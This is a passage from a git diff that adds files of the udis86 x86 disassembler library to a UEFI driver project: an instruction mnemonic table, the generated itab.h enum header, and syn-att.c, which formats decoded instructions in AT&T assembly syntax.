+"invalid", + "3dnow", + "none", + "db", + "pause", + "aaa", + "aad", + "aam", + "aas", + "adc", + "add", + "addpd", + "addps", + "addsd", + "addss", + "and", + "andpd", + "andps", + "andnpd", + "andnps", + "arpl", + "movsxd", + "bound", + "bsf", + "bsr", + "bswap", + "bt", + "btc", + "btr", + "bts", + "call", + "cbw", + "cwde", + "cdqe", + "clc", + "cld", + "clflush", + "clgi", + "cli", + "clts", + "cmc", + "cmovo", + "cmovno", + "cmovb", + "cmovae", + "cmovz", + "cmovnz", + "cmovbe", + "cmova", + "cmovs", + "cmovns", + "cmovp", + "cmovnp", + "cmovl", + "cmovge", + "cmovle", + "cmovg", + "cmp", + "cmppd", + "cmpps", + "cmpsb", + "cmpsw", + "cmpsd", + "cmpsq", + "cmpss", + "cmpxchg", + "cmpxchg8b", + "cmpxchg16b", + "comisd", + "comiss", + "cpuid", + "cvtdq2pd", + "cvtdq2ps", + "cvtpd2dq", + "cvtpd2pi", + "cvtpd2ps", + "cvtpi2ps", + "cvtpi2pd", + "cvtps2dq", + "cvtps2pi", + "cvtps2pd", + "cvtsd2si", + "cvtsd2ss", + "cvtsi2ss", + "cvtss2si", + "cvtss2sd", + "cvttpd2pi", + "cvttpd2dq", + "cvttps2dq", + "cvttps2pi", + "cvttsd2si", + "cvtsi2sd", + "cvttss2si", + "cwd", + "cdq", + "cqo", + "daa", + "das", + "dec", + "div", + "divpd", + "divps", + "divsd", + "divss", + "emms", + "enter", + "f2xm1", + "fabs", + "fadd", + "faddp", + "fbld", + "fbstp", + "fchs", + "fclex", + "fcmovb", + "fcmove", + "fcmovbe", + "fcmovu", + "fcmovnb", + "fcmovne", + "fcmovnbe", + "fcmovnu", + "fucomi", + "fcom", + "fcom2", + "fcomp3", + "fcomi", + "fucomip", + "fcomip", + "fcomp", + "fcomp5", + "fcompp", + "fcos", + "fdecstp", + "fdiv", + "fdivp", + "fdivr", + "fdivrp", + "femms", + "ffree", + "ffreep", + "ficom", + "ficomp", + "fild", + "fincstp", + "fninit", + "fiadd", + "fidivr", + "fidiv", + "fisub", + "fisubr", + "fist", + "fistp", + "fisttp", + "fld", + "fld1", + "fldl2t", + "fldl2e", + "fldpi", + "fldlg2", + "fldln2", + "fldz", + "fldcw", + "fldenv", + "fmul", + "fmulp", + "fimul", + "fnop", + "fpatan", + "fprem", + "fprem1", + "fptan", + "frndint", + "frstor", + "fnsave", + "fscale", + "fsin", + "fsincos", + "fsqrt", + "fstp", + "fstp1", + "fstp8", + "fstp9", + "fst", + "fnstcw", + "fnstenv", + "fnstsw", + "fsub", + "fsubp", + "fsubr", + "fsubrp", + "ftst", + "fucom", + "fucomp", + "fucompp", + "fxam", + "fxch", + "fxch4", + "fxch7", + "fxrstor", + "fxsave", + "fxtract", + "fyl2x", + "fyl2xp1", + "hlt", + "idiv", + "in", + "imul", + "inc", + "insb", + "insw", + "insd", + "int1", + "int3", + "int", + "into", + "invd", + "invept", + "invlpg", + "invlpga", + "invvpid", + "iretw", + "iretd", + "iretq", + "jo", + "jno", + "jb", + "jae", + "jz", + "jnz", + "jbe", + "ja", + "js", + "jns", + "jp", + "jnp", + "jl", + "jge", + "jle", + "jg", + "jcxz", + "jecxz", + "jrcxz", + "jmp", + "lahf", + "lar", + "lddqu", + "ldmxcsr", + "lds", + "lea", + "les", + "lfs", + "lgs", + "lidt", + "lss", + "leave", + "lfence", + "lgdt", + "lldt", + "lmsw", + "lock", + "lodsb", + "lodsw", + "lodsd", + "lodsq", + "loopne", + "loope", + "loop", + "lsl", + "ltr", + "maskmovq", + "maxpd", + "maxps", + "maxsd", + "maxss", + "mfence", + "minpd", + "minps", + "minsd", + "minss", + "monitor", + "montmul", + "mov", + "movapd", + "movaps", + "movd", + "movhpd", + "movhps", + "movlhps", + "movlpd", + "movlps", + "movhlps", + "movmskpd", + "movmskps", + "movntdq", + "movnti", + "movntpd", + "movntps", + "movntq", + "movq", + "movsb", + "movsw", + "movsd", + "movsq", + "movss", + "movsx", + "movupd", + "movups", + "movzx", + "mul", + "mulpd", + "mulps", + "mulsd", + "mulss", + "mwait", + "neg", + "nop", + "not", + "or", + "orpd", + "orps", + "out", + "outsb", + "outsw", + "outsd", + "packsswb", + "packssdw", + "packuswb", + "paddb", + "paddw", + "paddd", + "paddsb", + "paddsw", + "paddusb", + "paddusw", + "pand", + "pandn", + "pavgb", + "pavgw", + "pcmpeqb", + "pcmpeqw", + "pcmpeqd", + "pcmpgtb", + "pcmpgtw", + "pcmpgtd", + "pextrb", + "pextrd", + "pextrq", + "pextrw", + "pinsrb", + "pinsrw", + "pinsrd", + "pinsrq", + "pmaddwd", + "pmaxsw", + "pmaxub", + "pminsw", + "pminub", + "pmovmskb", + "pmulhuw", + "pmulhw", + "pmullw", + "pop", + "popa", + "popad", + "popfw", + "popfd", + "popfq", + "por", + "prefetch", + "prefetchnta", + "prefetcht0", + "prefetcht1", + "prefetcht2", + "psadbw", + "pshufw", + "psllw", + "pslld", + "psllq", + "psraw", + "psrad", + "psrlw", + "psrld", + "psrlq", + "psubb", + "psubw", + "psubd", + "psubsb", + "psubsw", + "psubusb", + "psubusw", + "punpckhbw", + "punpckhwd", + "punpckhdq", + "punpcklbw", + "punpcklwd", + "punpckldq", + "pi2fw", + "pi2fd", + "pf2iw", + "pf2id", + "pfnacc", + "pfpnacc", + "pfcmpge", + "pfmin", + "pfrcp", + "pfrsqrt", + "pfsub", + "pfadd", + "pfcmpgt", + "pfmax", + "pfrcpit1", + "pfrsqit1", + "pfsubr", + "pfacc", + "pfcmpeq", + "pfmul", + "pfrcpit2", + "pmulhrw", + "pswapd", + "pavgusb", + "push", + "pusha", + "pushad", + "pushfw", + "pushfd", + "pushfq", + "pxor", + "rcl", + "rcr", + "rol", + "ror", + "rcpps", + "rcpss", + "rdmsr", + "rdpmc", + "rdtsc", + "rdtscp", + "repne", + "rep", + "ret", + "retf", + "rsm", + "rsqrtps", + "rsqrtss", + "sahf", + "salc", + "sar", + "shl", + "shr", + "sbb", + "scasb", + "scasw", + "scasd", + "scasq", + "seto", + "setno", + "setb", + "setae", + "setz", + "setnz", + "setbe", + "seta", + "sets", + "setns", + "setp", + "setnp", + "setl", + "setge", + "setle", + "setg", + "sfence", + "sgdt", + "shld", + "shrd", + "shufpd", + "shufps", + "sidt", + "sldt", + "smsw", + "sqrtps", + "sqrtpd", + "sqrtsd", + "sqrtss", + "stc", + "std", + "stgi", + "sti", + "skinit", + "stmxcsr", + "stosb", + "stosw", + "stosd", + "stosq", + "str", + "sub", + "subpd", + "subps", + "subsd", + "subss", + "swapgs", + "syscall", + "sysenter", + "sysexit", + "sysret", + "test", + "ucomisd", + "ucomiss", + "ud2", + "unpckhpd", + "unpckhps", + "unpcklps", + "unpcklpd", + "verr", + "verw", + "vmcall", + "vmclear", + "vmxon", + "vmptrld", + "vmptrst", + "vmlaunch", + "vmresume", + "vmxoff", + "vmread", + "vmwrite", + "vmrun", + "vmmcall", + "vmload", + "vmsave", + "wait", + "wbinvd", + "wrmsr", + "xadd", + "xchg", + "xgetbv", + "xlatb", + "xor", + "xorpd", + "xorps", + "xcryptecb", + "xcryptcbc", + "xcryptctr", + "xcryptcfb", + "xcryptofb", + "xrstor", + "xsave", + "xsetbv", + "xsha1", + "xsha256", + "xstore", + "aesdec", + "aesdeclast", + "aesenc", + "aesenclast", + "aesimc", + "aeskeygenassist", + "pclmulqdq", + "getsec", + "movdqa", + "maskmovdqu", + "movdq2q", + "movdqu", + "movq2dq", + "paddq", + "psubq", + "pmuludq", + "pshufhw", + "pshuflw", + "pshufd", + "pslldq", + "psrldq", + "punpckhqdq", + "punpcklqdq", + "addsubpd", + "addsubps", + "haddpd", + "haddps", + "hsubpd", + "hsubps", + "movddup", + "movshdup", + "movsldup", + "pabsb", + "pabsw", + "pabsd", + "pshufb", + "phaddw", + "phaddd", + "phaddsw", + "pmaddubsw", + "phsubw", + "phsubd", + "phsubsw", + "psignb", + "psignd", + "psignw", + "pmulhrsw", + "palignr", + "pblendvb", + "pmuldq", + "pminsb", + "pminsd", + "pminuw", + "pminud", + "pmaxsb", + "pmaxsd", + "pmaxud", + "pmaxuw", + "pmulld", + "phminposuw", + "roundps", + "roundpd", + "roundss", + "roundsd", + "blendpd", + "pblendw", + "blendps", + "blendvpd", + "blendvps", + "dpps", + "dppd", + "mpsadbw", + "extractps", + "insertps", + "movntdqa", + "packusdw", + "pmovsxbw", + "pmovsxbd", + "pmovsxbq", + "pmovsxwd", + "pmovsxwq", + "pmovsxdq", + "pmovzxbw", + "pmovzxbd", + "pmovzxbq", + "pmovzxwd", + "pmovzxwq", + "pmovzxdq", + "pcmpeqq", + "popcnt", + "ptest", + "pcmpestri", + "pcmpestrm", + "pcmpgtq", + "pcmpistri", + "pcmpistrm", + "movbe", + "crc32" +}; diff --git a/UefiDriver/udis86/libudis86/itab.h b/UefiDriver/udis86/libudis86/itab.h new file mode 100644 index 0000000..778a76d --- /dev/null +++ b/UefiDriver/udis86/libudis86/itab.h @@ -0,0 +1,678 @@ +#ifndef UD_ITAB_H +#define UD_ITAB_H + +/* itab.h -- generated by udis86:scripts/ud_itab.py, do no edit */ + +/* ud_table_type -- lookup table types (see decode.c) */ +enum ud_table_type { + UD_TAB__OPC_TABLE, + UD_TAB__OPC_X87, + UD_TAB__OPC_MOD, + UD_TAB__OPC_VEX_M, + UD_TAB__OPC_VEX_P, + UD_TAB__OPC_RM, + UD_TAB__OPC_VENDOR, + UD_TAB__OPC_OSIZE, + UD_TAB__OPC_MODE, + UD_TAB__OPC_3DNOW, + UD_TAB__OPC_REG, + UD_TAB__OPC_ASIZE, + UD_TAB__OPC_SSE +}; + +/* ud_mnemonic -- mnemonic constants */ +enum ud_mnemonic_code { + UD_Iinvalid, + UD_I3dnow, + UD_Inone, + UD_Idb, + UD_Ipause, + UD_Iaaa, + UD_Iaad, + UD_Iaam, + UD_Iaas, + UD_Iadc, + UD_Iadd, + UD_Iaddpd, + UD_Iaddps, + UD_Iaddsd, + UD_Iaddss, + UD_Iand, + UD_Iandpd, + UD_Iandps, + UD_Iandnpd, + UD_Iandnps, + UD_Iarpl, + UD_Imovsxd, + UD_Ibound, + UD_Ibsf, + UD_Ibsr, + UD_Ibswap, + UD_Ibt, + UD_Ibtc, + UD_Ibtr, + UD_Ibts, + UD_Icall, + UD_Icbw, + UD_Icwde, + UD_Icdqe, + UD_Iclc, + UD_Icld, + UD_Iclflush, + UD_Iclgi, + UD_Icli, + UD_Iclts, + UD_Icmc, + UD_Icmovo, + UD_Icmovno, + UD_Icmovb, + UD_Icmovae, + UD_Icmovz, + UD_Icmovnz, + UD_Icmovbe, + UD_Icmova, + UD_Icmovs, + UD_Icmovns, + UD_Icmovp, + UD_Icmovnp, + UD_Icmovl, + UD_Icmovge, + UD_Icmovle, + UD_Icmovg, + UD_Icmp, + UD_Icmppd, + UD_Icmpps, + UD_Icmpsb, + UD_Icmpsw, + UD_Icmpsd, + UD_Icmpsq, + UD_Icmpss, + UD_Icmpxchg, + UD_Icmpxchg8b, + UD_Icmpxchg16b, + UD_Icomisd, + UD_Icomiss, + UD_Icpuid, + UD_Icvtdq2pd, + UD_Icvtdq2ps, + UD_Icvtpd2dq, + UD_Icvtpd2pi, + UD_Icvtpd2ps, + UD_Icvtpi2ps, + UD_Icvtpi2pd, + UD_Icvtps2dq, + UD_Icvtps2pi, + UD_Icvtps2pd, + UD_Icvtsd2si, + UD_Icvtsd2ss, + UD_Icvtsi2ss, + UD_Icvtss2si, + UD_Icvtss2sd, + UD_Icvttpd2pi, + UD_Icvttpd2dq, + UD_Icvttps2dq, + UD_Icvttps2pi, + UD_Icvttsd2si, + UD_Icvtsi2sd, + UD_Icvttss2si, + UD_Icwd, + UD_Icdq, + UD_Icqo, + UD_Idaa, + UD_Idas, + UD_Idec, + UD_Idiv, + UD_Idivpd, + UD_Idivps, + UD_Idivsd, + UD_Idivss, + UD_Iemms, + UD_Ienter, + UD_If2xm1, + UD_Ifabs, + UD_Ifadd, + UD_Ifaddp, + UD_Ifbld, + UD_Ifbstp, + UD_Ifchs, + UD_Ifclex, + UD_Ifcmovb, + UD_Ifcmove, + UD_Ifcmovbe, + UD_Ifcmovu, + UD_Ifcmovnb, + UD_Ifcmovne, + UD_Ifcmovnbe, + UD_Ifcmovnu, + UD_Ifucomi, + UD_Ifcom, + UD_Ifcom2, + UD_Ifcomp3, + UD_Ifcomi, + UD_Ifucomip, + UD_Ifcomip, + UD_Ifcomp, + UD_Ifcomp5, + UD_Ifcompp, + UD_Ifcos, + UD_Ifdecstp, + UD_Ifdiv, + UD_Ifdivp, + UD_Ifdivr, + UD_Ifdivrp, + UD_Ifemms, + UD_Iffree, + UD_Iffreep, + UD_Ificom, + UD_Ificomp, + UD_Ifild, + UD_Ifincstp, + UD_Ifninit, + UD_Ifiadd, + UD_Ifidivr, + UD_Ifidiv, + UD_Ifisub, + UD_Ifisubr, + UD_Ifist, + UD_Ifistp, + UD_Ifisttp, + UD_Ifld, + UD_Ifld1, + UD_Ifldl2t, + UD_Ifldl2e, + UD_Ifldpi, + UD_Ifldlg2, + UD_Ifldln2, + UD_Ifldz, + UD_Ifldcw, + UD_Ifldenv, + UD_Ifmul, + UD_Ifmulp, + UD_Ifimul, + UD_Ifnop, + UD_Ifpatan, + UD_Ifprem, + UD_Ifprem1, + UD_Ifptan, + UD_Ifrndint, + UD_Ifrstor, + UD_Ifnsave, + UD_Ifscale, + UD_Ifsin, + UD_Ifsincos, + UD_Ifsqrt, + UD_Ifstp, + UD_Ifstp1, + UD_Ifstp8, + UD_Ifstp9, + UD_Ifst, + UD_Ifnstcw, + UD_Ifnstenv, + UD_Ifnstsw, + UD_Ifsub, + UD_Ifsubp, + UD_Ifsubr, + UD_Ifsubrp, + UD_Iftst, + UD_Ifucom, + UD_Ifucomp, + UD_Ifucompp, + UD_Ifxam, + UD_Ifxch, + UD_Ifxch4, + UD_Ifxch7, + UD_Ifxrstor, + UD_Ifxsave, + UD_Ifxtract, + UD_Ifyl2x, + UD_Ifyl2xp1, + UD_Ihlt, + UD_Iidiv, + UD_Iin, + UD_Iimul, + UD_Iinc, + UD_Iinsb, + UD_Iinsw, + UD_Iinsd, + UD_Iint1, + UD_Iint3, + UD_Iint, + UD_Iinto, + UD_Iinvd, + UD_Iinvept, + UD_Iinvlpg, + UD_Iinvlpga, + UD_Iinvvpid, + UD_Iiretw, + UD_Iiretd, + UD_Iiretq, + UD_Ijo, + UD_Ijno, + UD_Ijb, + UD_Ijae, + UD_Ijz, + UD_Ijnz, + UD_Ijbe, + UD_Ija, + UD_Ijs, + UD_Ijns, + UD_Ijp, + UD_Ijnp, + UD_Ijl, + UD_Ijge, + UD_Ijle, + UD_Ijg, + UD_Ijcxz, + UD_Ijecxz, + UD_Ijrcxz, + UD_Ijmp, + UD_Ilahf, + UD_Ilar, + UD_Ilddqu, + UD_Ildmxcsr, + UD_Ilds, + UD_Ilea, + UD_Iles, + UD_Ilfs, + UD_Ilgs, + UD_Ilidt, + UD_Ilss, + UD_Ileave, + UD_Ilfence, + UD_Ilgdt, + UD_Illdt, + UD_Ilmsw, + UD_Ilock, + UD_Ilodsb, + UD_Ilodsw, + UD_Ilodsd, + UD_Ilodsq, + UD_Iloopne, + UD_Iloope, + UD_Iloop, + UD_Ilsl, + UD_Iltr, + UD_Imaskmovq, + UD_Imaxpd, + UD_Imaxps, + UD_Imaxsd, + UD_Imaxss, + UD_Imfence, + UD_Iminpd, + UD_Iminps, + UD_Iminsd, + UD_Iminss, + UD_Imonitor, + UD_Imontmul, + UD_Imov, + UD_Imovapd, + UD_Imovaps, + UD_Imovd, + UD_Imovhpd, + UD_Imovhps, + UD_Imovlhps, + UD_Imovlpd, + UD_Imovlps, + UD_Imovhlps, + UD_Imovmskpd, + UD_Imovmskps, + UD_Imovntdq, + UD_Imovnti, + UD_Imovntpd, + UD_Imovntps, + UD_Imovntq, + UD_Imovq, + UD_Imovsb, + UD_Imovsw, + UD_Imovsd, + UD_Imovsq, + UD_Imovss, + UD_Imovsx, + UD_Imovupd, + UD_Imovups, + UD_Imovzx, + UD_Imul, + UD_Imulpd, + UD_Imulps, + UD_Imulsd, + UD_Imulss, + UD_Imwait, + UD_Ineg, + UD_Inop, + UD_Inot, + UD_Ior, + UD_Iorpd, + UD_Iorps, + UD_Iout, + UD_Ioutsb, + UD_Ioutsw, + UD_Ioutsd, + UD_Ipacksswb, + UD_Ipackssdw, + UD_Ipackuswb, + UD_Ipaddb, + UD_Ipaddw, + UD_Ipaddd, + UD_Ipaddsb, + UD_Ipaddsw, + UD_Ipaddusb, + UD_Ipaddusw, + UD_Ipand, + UD_Ipandn, + UD_Ipavgb, + UD_Ipavgw, + UD_Ipcmpeqb, + UD_Ipcmpeqw, + UD_Ipcmpeqd, + UD_Ipcmpgtb, + UD_Ipcmpgtw, + UD_Ipcmpgtd, + UD_Ipextrb, + UD_Ipextrd, + UD_Ipextrq, + UD_Ipextrw, + UD_Ipinsrb, + UD_Ipinsrw, + UD_Ipinsrd, + UD_Ipinsrq, + UD_Ipmaddwd, + UD_Ipmaxsw, + UD_Ipmaxub, + UD_Ipminsw, + UD_Ipminub, + UD_Ipmovmskb, + UD_Ipmulhuw, + UD_Ipmulhw, + UD_Ipmullw, + UD_Ipop, + UD_Ipopa, + UD_Ipopad, + UD_Ipopfw, + UD_Ipopfd, + UD_Ipopfq, + UD_Ipor, + UD_Iprefetch, + UD_Iprefetchnta, + UD_Iprefetcht0, + UD_Iprefetcht1, + UD_Iprefetcht2, + UD_Ipsadbw, + UD_Ipshufw, + UD_Ipsllw, + UD_Ipslld, + UD_Ipsllq, + UD_Ipsraw, + UD_Ipsrad, + UD_Ipsrlw, + UD_Ipsrld, + UD_Ipsrlq, + UD_Ipsubb, + UD_Ipsubw, + UD_Ipsubd, + UD_Ipsubsb, + UD_Ipsubsw, + UD_Ipsubusb, + UD_Ipsubusw, + UD_Ipunpckhbw, + UD_Ipunpckhwd, + UD_Ipunpckhdq, + UD_Ipunpcklbw, + UD_Ipunpcklwd, + UD_Ipunpckldq, + UD_Ipi2fw, + UD_Ipi2fd, + UD_Ipf2iw, + UD_Ipf2id, + UD_Ipfnacc, + UD_Ipfpnacc, + UD_Ipfcmpge, + UD_Ipfmin, + UD_Ipfrcp, + UD_Ipfrsqrt, + UD_Ipfsub, + UD_Ipfadd, + UD_Ipfcmpgt, + UD_Ipfmax, + UD_Ipfrcpit1, + UD_Ipfrsqit1, + UD_Ipfsubr, + UD_Ipfacc, + UD_Ipfcmpeq, + UD_Ipfmul, + UD_Ipfrcpit2, + UD_Ipmulhrw, + UD_Ipswapd, + UD_Ipavgusb, + UD_Ipush, + UD_Ipusha, + UD_Ipushad, + UD_Ipushfw, + UD_Ipushfd, + UD_Ipushfq, + UD_Ipxor, + UD_Ircl, + UD_Ircr, + UD_Irol, + UD_Iror, + UD_Ircpps, + UD_Ircpss, + UD_Irdmsr, + UD_Irdpmc, + UD_Irdtsc, + UD_Irdtscp, + UD_Irepne, + UD_Irep, + UD_Iret, + UD_Iretf, + UD_Irsm, + UD_Irsqrtps, + UD_Irsqrtss, + UD_Isahf, + UD_Isalc, + UD_Isar, + UD_Ishl, + UD_Ishr, + UD_Isbb, + UD_Iscasb, + UD_Iscasw, + UD_Iscasd, + UD_Iscasq, + UD_Iseto, + UD_Isetno, + UD_Isetb, + UD_Isetae, + UD_Isetz, + UD_Isetnz, + UD_Isetbe, + UD_Iseta, + UD_Isets, + UD_Isetns, + UD_Isetp, + UD_Isetnp, + UD_Isetl, + UD_Isetge, + UD_Isetle, + UD_Isetg, + UD_Isfence, + UD_Isgdt, + UD_Ishld, + UD_Ishrd, + UD_Ishufpd, + UD_Ishufps, + UD_Isidt, + UD_Isldt, + UD_Ismsw, + UD_Isqrtps, + UD_Isqrtpd, + UD_Isqrtsd, + UD_Isqrtss, + UD_Istc, + UD_Istd, + UD_Istgi, + UD_Isti, + UD_Iskinit, + UD_Istmxcsr, + UD_Istosb, + UD_Istosw, + UD_Istosd, + UD_Istosq, + UD_Istr, + UD_Isub, + UD_Isubpd, + UD_Isubps, + UD_Isubsd, + UD_Isubss, + UD_Iswapgs, + UD_Isyscall, + UD_Isysenter, + UD_Isysexit, + UD_Isysret, + UD_Itest, + UD_Iucomisd, + UD_Iucomiss, + UD_Iud2, + UD_Iunpckhpd, + UD_Iunpckhps, + UD_Iunpcklps, + UD_Iunpcklpd, + UD_Iverr, + UD_Iverw, + UD_Ivmcall, + UD_Ivmclear, + UD_Ivmxon, + UD_Ivmptrld, + UD_Ivmptrst, + UD_Ivmlaunch, + UD_Ivmresume, + UD_Ivmxoff, + UD_Ivmread, + UD_Ivmwrite, + UD_Ivmrun, + UD_Ivmmcall, + UD_Ivmload, + UD_Ivmsave, + UD_Iwait, + UD_Iwbinvd, + UD_Iwrmsr, + UD_Ixadd, + UD_Ixchg, + UD_Ixgetbv, + UD_Ixlatb, + UD_Ixor, + UD_Ixorpd, + UD_Ixorps, + UD_Ixcryptecb, + UD_Ixcryptcbc, + UD_Ixcryptctr, + UD_Ixcryptcfb, + UD_Ixcryptofb, + UD_Ixrstor, + UD_Ixsave, + UD_Ixsetbv, + UD_Ixsha1, + UD_Ixsha256, + UD_Ixstore, + UD_Iaesdec, + UD_Iaesdeclast, + UD_Iaesenc, + UD_Iaesenclast, + UD_Iaesimc, + UD_Iaeskeygenassist, + UD_Ipclmulqdq, + UD_Igetsec, + UD_Imovdqa, + UD_Imaskmovdqu, + UD_Imovdq2q, + UD_Imovdqu, + UD_Imovq2dq, + UD_Ipaddq, + UD_Ipsubq, + UD_Ipmuludq, + UD_Ipshufhw, + UD_Ipshuflw, + UD_Ipshufd, + UD_Ipslldq, + UD_Ipsrldq, + UD_Ipunpckhqdq, + UD_Ipunpcklqdq, + UD_Iaddsubpd, + UD_Iaddsubps, + UD_Ihaddpd, + UD_Ihaddps, + UD_Ihsubpd, + UD_Ihsubps, + UD_Imovddup, + UD_Imovshdup, + UD_Imovsldup, + UD_Ipabsb, + UD_Ipabsw, + UD_Ipabsd, + UD_Ipshufb, + UD_Iphaddw, + UD_Iphaddd, + UD_Iphaddsw, + UD_Ipmaddubsw, + UD_Iphsubw, + UD_Iphsubd, + UD_Iphsubsw, + UD_Ipsignb, + UD_Ipsignd, + UD_Ipsignw, + UD_Ipmulhrsw, + UD_Ipalignr, + UD_Ipblendvb, + UD_Ipmuldq, + UD_Ipminsb, + UD_Ipminsd, + UD_Ipminuw, + UD_Ipminud, + UD_Ipmaxsb, + UD_Ipmaxsd, + UD_Ipmaxud, + UD_Ipmaxuw, + UD_Ipmulld, + UD_Iphminposuw, + UD_Iroundps, + UD_Iroundpd, + UD_Iroundss, + UD_Iroundsd, + UD_Iblendpd, + UD_Ipblendw, + UD_Iblendps, + UD_Iblendvpd, + UD_Iblendvps, + UD_Idpps, + UD_Idppd, + UD_Impsadbw, + UD_Iextractps, + UD_Iinsertps, + UD_Imovntdqa, + UD_Ipackusdw, + UD_Ipmovsxbw, + UD_Ipmovsxbd, + UD_Ipmovsxbq, + UD_Ipmovsxwd, + UD_Ipmovsxwq, + UD_Ipmovsxdq, + UD_Ipmovzxbw, + UD_Ipmovzxbd, + UD_Ipmovzxbq, + UD_Ipmovzxwd, + UD_Ipmovzxwq, + UD_Ipmovzxdq, + UD_Ipcmpeqq, + UD_Ipopcnt, + UD_Iptest, + UD_Ipcmpestri, + UD_Ipcmpestrm, + UD_Ipcmpgtq, + UD_Ipcmpistri, + UD_Ipcmpistrm, + UD_Imovbe, + UD_Icrc32, + UD_MAX_MNEMONIC_CODE +} UD_ATTR_PACKED; + +extern const char * ud_mnemonics_str[]; + +#endif /* UD_ITAB_H */ diff --git a/UefiDriver/udis86/libudis86/syn-att.c b/UefiDriver/udis86/libudis86/syn-att.c new file mode 100644 index 0000000..dc9d739 --- /dev/null +++ b/UefiDriver/udis86/libudis86/syn-att.c @@ -0,0 +1,224 @@ +/* udis86 - libudis86/syn-att.c + * + * Copyright (c) 2002-2009 Vivek Thampi + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without modification, + * are permitted provided that the following conditions are met: + * + * * Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * * Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON + * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +#include "types.h" +#include "extern.h" +#include "decode.h" +#include "itab.h" +#include "syn.h" +#include "udint.h" + +/* ----------------------------------------------------------------------------- + * opr_cast() - Prints an operand cast. + * ----------------------------------------------------------------------------- + */ +static void +opr_cast(struct ud* u, struct ud_operand* op) +{ + switch(op->size) { + case 16 : case 32 : + ud_asmprintf(u, "*"); break; + default: break; + } +} + +/* ----------------------------------------------------------------------------- + * gen_operand() - Generates assembly output for each operand. + * ----------------------------------------------------------------------------- + */ +static void +gen_operand(struct ud* u, struct ud_operand* op) +{ + switch(op->type) { + case UD_OP_CONST: + ud_asmprintf(u, "$0x%x", op->lval.udword); + break; + + case UD_OP_REG: + ud_asmprintf(u, "%%%s", ud_reg_tab[op->base - UD_R_AL]); + break; + + case UD_OP_MEM: + if (u->br_far) { + opr_cast(u, op); + } + if (u->pfx_seg) { + ud_asmprintf(u, "%%%s:", ud_reg_tab[u->pfx_seg - UD_R_AL]); + } + if (op->offset != 0) { + ud_syn_print_mem_disp(u, op, 0); + } + if (op->base) { + ud_asmprintf(u, "(%%%s", ud_reg_tab[op->base - UD_R_AL]); + } + if (op->index) { + if (op->base) { + ud_asmprintf(u, ","); + } else { + ud_asmprintf(u, "("); + } + ud_asmprintf(u, "%%%s", ud_reg_tab[op->index - UD_R_AL]); + } + if (op->scale) { + ud_asmprintf(u, ",%d", op->scale); + } + if (op->base || op->index) { + ud_asmprintf(u, ")"); + } + break; + + case UD_OP_IMM: + ud_asmprintf(u, "$"); + ud_syn_print_imm(u, op); + break; + + case UD_OP_JIMM: + ud_syn_print_addr(u, ud_syn_rel_target(u, op)); + break; + + case UD_OP_PTR: + switch (op->size) { + case 32: + ud_asmprintf(u, "$0x%x, $0x%x", op->lval.ptr.seg, + op->lval.ptr.off & 0xFFFF); + break; + case 48: + ud_asmprintf(u, "$0x%x, $0x%x", op->lval.ptr.seg, + op->lval.ptr.off); + break; + } + break; + + default: return; + } +} + +/* ============================================================================= + * translates to AT&T syntax + * ============================================================================= + */ +extern void +ud_translate_att(struct ud *u) +{ + int size = 0; + int star = 0; + + /* check if P_OSO prefix is used */ + if (! P_OSO(u->itab_entry->prefix) && u->pfx_opr) { + switch (u->dis_mode) { + case 16: + ud_asmprintf(u, "o32 "); + break; + case 32: + case 64: + ud_asmprintf(u, "o16 "); + break; + } + } + + /* check if P_ASO prefix was used */ + if (! P_ASO(u->itab_entry->prefix) && u->pfx_adr) { + switch (u->dis_mode) { + case 16: + ud_asmprintf(u, "a32 "); + break; + case 32: + ud_asmprintf(u, "a16 "); + break; + case 64: + ud_asmprintf(u, "a32 "); + break; + } + } + + if (u->pfx_lock) + ud_asmprintf(u, "lock "); + if (u->pfx_rep) { + ud_asmprintf(u, "rep "); + } else if (u->pfx_rep) { + ud_asmprintf(u, "repe "); + } else if (u->pfx_repne) { + ud_asmprintf(u, "repne "); + } + + /* special instructions */ + switch (u->mnemonic) { + case UD_Iretf: + ud_asmprintf(u, "lret "); + break; + case UD_Idb: + ud_asmprintf(u, ".byte 0x%x", u->operand[0].lval.ubyte); + return; + case UD_Ijmp: + case UD_Icall: + if (u->br_far) ud_asmprintf(u, "l"); + if (u->operand[0].type == UD_OP_REG) { + star = 1; + } + ud_asmprintf(u, "%s", ud_lookup_mnemonic(u->mnemonic)); + break; + case UD_Ibound: + case UD_Ienter: + if (u->operand[0].type != UD_NONE) + gen_operand(u, &u->operand[0]); + if (u->operand[1].type != UD_NONE) { + ud_asmprintf(u, ","); + gen_operand(u, &u->operand[1]); + } + return; + default: + ud_asmprintf(u, "%s", ud_lookup_mnemonic(u->mnemonic)); + } + + if (size == 8) + ud_asmprintf(u, "b"); + else if (size == 16) + ud_asmprintf(u, "w"); + else if (size == 64) + ud_asmprintf(u, "q"); + + if (star) { + ud_asmprintf(u, " *"); + } else { + ud_asmprintf(u, " "); + } + + if (u->operand[2].type != UD_NONE) { + gen_operand(u, &u->operand[2]); + ud_asmprintf(u, ", "); + } + + if (u->operand[1].type != UD_NONE) { + gen_operand(u, &u->operand[1]); + ud_asmprintf(u, ", "); + } + + if (u->operand[0].type != UD_NONE) + gen_operand(u, &u->operand[0]); +} + +/* +vim: set ts=2 sw=2 expandtab +*/ diff --git 